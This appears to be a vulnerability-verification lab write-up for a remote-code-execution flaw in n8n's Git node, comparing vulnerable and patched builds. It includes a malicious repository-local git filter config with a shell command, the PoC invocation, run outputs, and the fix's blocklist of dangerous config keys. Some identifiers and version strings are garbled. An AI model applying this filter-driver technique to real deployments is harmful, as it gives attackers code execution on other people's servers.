
CVE-2026-85168 — n8n Git node RCE from repo-local filter.*.clean / merge-driver config on add|commit|checkout. Verified v2.35.3 / v2.36.2.
The Git node pinned the external-program config keys it knew about with -c
(core.sshCommand, core.fsmonitor, core.pager, diff.external,
credential.helper, core.gitProxy, gpg.program, init.templateDir) but never
checked the repository's own .git/config for the content-filter and
merge-driver families. A repository that defines
[filter "pwn"]
clean = <command>
together with a matching .gitattributes (* filter=pwn) makes git execute
<command> during an ordinary Add, Commit, Checkout or Pull performed by the
node. The command runs as the n8n process user (node, uid 1000).
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.73, >= 2.0.0 < 2.35.4, < 2.36.24c60d38f2a83 ("chore: Bundle/2.x (backport to release-candidate/2.36.x)")
→ packages/nodes-base/nodes/Git/GenericFunctions.ts gains
findBlacklistedKeys() with patterns for filter.*.(clean|smudge|process),
merge.*.driver, remote.*.(uploadpack|receivepack), gpg.*.program,
core.askpass, core.editor, core.alternateRefsCommand,
gc.recentObjectsHook, hook.*.command, sequence.editor,
gpg.ssh.defaultKeyCommand, url.*.(insteadOf|pushInsteadOf);
Git.node.ts calls validateGitConfig() before add/commit/checkout/pull/push and
aborts with Repository Git config key '<key>' is not allowed.The attacker must be able to get a repository with a local config of their choosing in
front of the Git node — an imported/shared checkout, a project repo on a mounted
volume, etc. In this lab --prepare plants exactly that repository inside the
container (stand-in for the file-write step of a workflow author). Everything after
that is done over the n8n REST API by an authenticated user.
The node only accepts repositories under ~/.n8n-files (restrictFileAccessTo
default) and refuses paths matching the .git block pattern, so the lab repo lives at
/home/node/.n8n-files/pwn-repo.
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165 -f docker-compose.2353.yml up -d # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix -f docker-compose.2362.yml up -d # 2.36.2 -> :20003
n8nio/n8n:2.35.3 ships [email protected] (no findBlacklistedKeys) →
vulnerable. n8nio/n8n:2.36.2 ships [email protected] (blacklist present) →
fixed. Note the 2.36.1 Docker image already ships [email protected] as well, so
that image is not vulnerable either; 2.35.3 is the closest published vulnerable tag.
python3 n8n_poc.py --url http://127.0.0.1:20001 \
--container n8n-vuln-2353 --prepare --command 'id'
run_vulnerable_2.35.3.txt)[*] target : http://127.0.0.1:20001
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0
Container-side check (side_effect_2.35.3.txt):
-rw-r--r-- 1 node node 48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"
run_patched_2.36.2.txt)[*] target : http://127.0.0.1:20003
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1
The repository is identical on both targets; only the n8n build differs.
Primary: the workflow output returned by GET /rest/executions/<id>?includeData=true
(the Git node's {"success": true} vs the rejection error). Secondary (because the
command's output lands in a file, not in the HTTP response): the proof file is read
back with docker exec <container> cat <repo>/out.txt — that is the --container
step, clearly marked lab-side in the script.
| file | content |
|---|---|
n8n_poc.py | stdlib-only PoC (--url --email --password --command --repo-path --container --prepare --output) |
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt | raw runs |
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.json | JSON evidence |
side_effect_2.35.3.txt, side_effect_2.36.2.txt | container-side check |
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt | container logs |